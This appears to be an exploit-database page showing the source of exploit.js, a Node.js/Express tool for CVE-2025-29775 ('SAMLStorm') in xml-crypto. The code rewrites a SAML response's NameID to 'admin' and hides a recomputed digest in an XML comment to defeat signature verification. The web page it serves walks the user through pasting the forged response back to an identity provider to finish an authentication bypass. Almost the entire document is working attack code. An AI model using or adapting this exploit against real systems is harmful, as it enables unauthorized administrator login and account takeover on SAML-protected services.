Exploit databaseDownload repository ZIP
GH-e3a741d8de4f49ef27bd7fdd92f9adfd
ethicalpap/cve-2025-29775
Sources for CVE-2025-29775
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
ethicalpap/cve-2025-29775Revision cad11d769a56
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/exploit.js
JavaScript · 6,249 bytesconst express = require('express');
const bodyParser = require('body-parser');
const { DOMParser, XMLSerializer } = require('xmldom');
const crypto = require('crypto');
const app = express();
const PORT = 8000;
// Middleware
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// Calculate a real digest for demonstration purposes
function calculateDigest(content) {
return crypto.createHash('sha256').update(content).digest('base64');
}
// Function to create a manipulated SAML response exploiting the vulnerability
function createExploitedSAMLResponse(originalResponse) {
const parser = new DOMParser();
const doc = parser.parseFromString(originalResponse, 'text/xml');
// Step 1: Save the legitimate hash
const digestValueElement = doc.getElementsByTagName('ds:DigestValue')[0];
const legitimateHash = digestValueElement ? digestValueElement.textContent.trim() : '';
// Step 2: Replace the NameID with "admin"
const nameIDElement = doc.getElementsByTagName('saml:NameID')[0];
let originalNameID = '';
if (nameIDElement) {
originalNameID = nameIDElement.textContent;
nameIDElement.textContent = 'admin';
}
// Step 3: Create a real "malicious hash" that would be correct for the modified content
// Extract the assertion element to calculate what the proper hash would be
const assertion = doc.getElementsByTagName('saml:Assertion')[0];
let maliciousHash = '';
if (assertion) {
// Get the string representation of the modified assertion
const serializer = new XMLSerializer();
const modifiedAssertion = serializer.serializeToString(assertion);
// Calculate what would be the correct hash for this modified content
maliciousHash = calculateDigest(modifiedAssertion);
} else {
// Fallback if we can't find the assertion
maliciousHash = "RealCalculatedMaliciousHash";
}
// Step 4: Add the comment with the calculated malicious hash
if (digestValueElement) {
digestValueElement.textContent = `<!--${maliciousHash}-->${legitimateHash}`;
}
// Serialize back to string
const serializer = new XMLSerializer();
return serializer.serializeToString(doc);
}
// Routes
app.get('/', (req, res) => {
res.send(`
<!DOCTYPE html>
<html>
<head>
<title>SAMLStorm (CVE-2025-29775) Exploit Tool</title>
<style>
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; line-height: 1.6; }
.container { max-width: 800px; margin: 0 auto; }
h1 { color: #d32f2f; }
h2 { color: #333; margin-top: 20px; }
pre { background: #f5f5f5; padding: 15px; border-radius: 5px; overflow-x: auto; }
textarea { width: 100%; height: 150px; margin: 10px 0; padding: 10px; font-family: monospace; }
button { background: #d32f2f; color: white; border: none; padding: 10px 15px; cursor: pointer; }
#result { display: none; margin-top: 20px; }
.explanation { background: #f9f9f9; padding: 15px; border-left: 4px solid #d32f2f; margin: 20px 0; }
</style>
</head>
<body>
<div class="container">
<h1>SAMLStorm (CVE-2025-29775) Exploit Tool</h1>
<div class="explanation">
<p>This tool demonstrates the XML signature verification bypass vulnerability in xml-crypto (CVE-2025-29775).</p>
<p>The exploit follows these steps:</p>
<ol>
<li>Takes the original SAML response with legitimate signature</li>
<li>Changes the NameID to "admin" (the Service Provider knows this user's role and email)</li>
<li>Calculates what would be the correct hash for the modified content</li>
<li>Adds an XML comment with this hash before the original hash value</li>
</ol>
</div>
<h2>Paste SAML Response (Base64)</h2>
<form id="exploitForm">
<textarea id="samlResponse" placeholder="Paste base64-encoded SAML response here"></textarea>
<button type="submit">Generate Exploited Response</button>
</form>
<div id="result">
<h2>Exploited SAML Response (Base64)</h2>
<textarea id="modifiedResponse" readonly></textarea>
<p><strong>Instructions:</strong></p>
<ol>
<li>Copy the modified response above</li>
<li>Return to the Identity Provider page</li>
<li>Paste the response into the form</li>
<li>Submit to complete the authentication bypass</li>
</ol>
</div>
</div>
<script>
document.getElementById('exploitForm').addEventListener('submit', function(e) {
e.preventDefault();
const samlResponse = document.getElementById('samlResponse').value.trim();
if (!samlResponse) {
alert('Please paste a SAML response');
return;
}
fetch('/exploit', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ samlResponse })
})
.then(response => response.json())
.then(data => {
document.getElementById('modifiedResponse').value = data.modifiedResponse;
document.getElementById('result').style.display = 'block';
})
.catch(error => {
console.error('Error:', error);
alert('Error generating exploit');
});
});
</script>
</body>
</html>
`);
});
app.post('/exploit', (req, res) => {
try {
const { samlResponse } = req.body;
// Decode the base64 SAML response
const decodedResponse = Buffer.from(samlResponse, 'base64').toString('utf8');
// Create exploited response
const exploitedXML = createExploitedSAMLResponse(decodedResponse);
// Base64 encode the result
const modifiedResponse = Buffer.from(exploitedXML).toString('base64');
res.json({ modifiedResponse });
} catch (error) {
console.error('Error:', error);
res.status(500).json({ error: error.message });
}
});
// Start server
app.listen(PORT, () => {
console.log(`Exploit tool running at http://localhost:${PORT}`);
});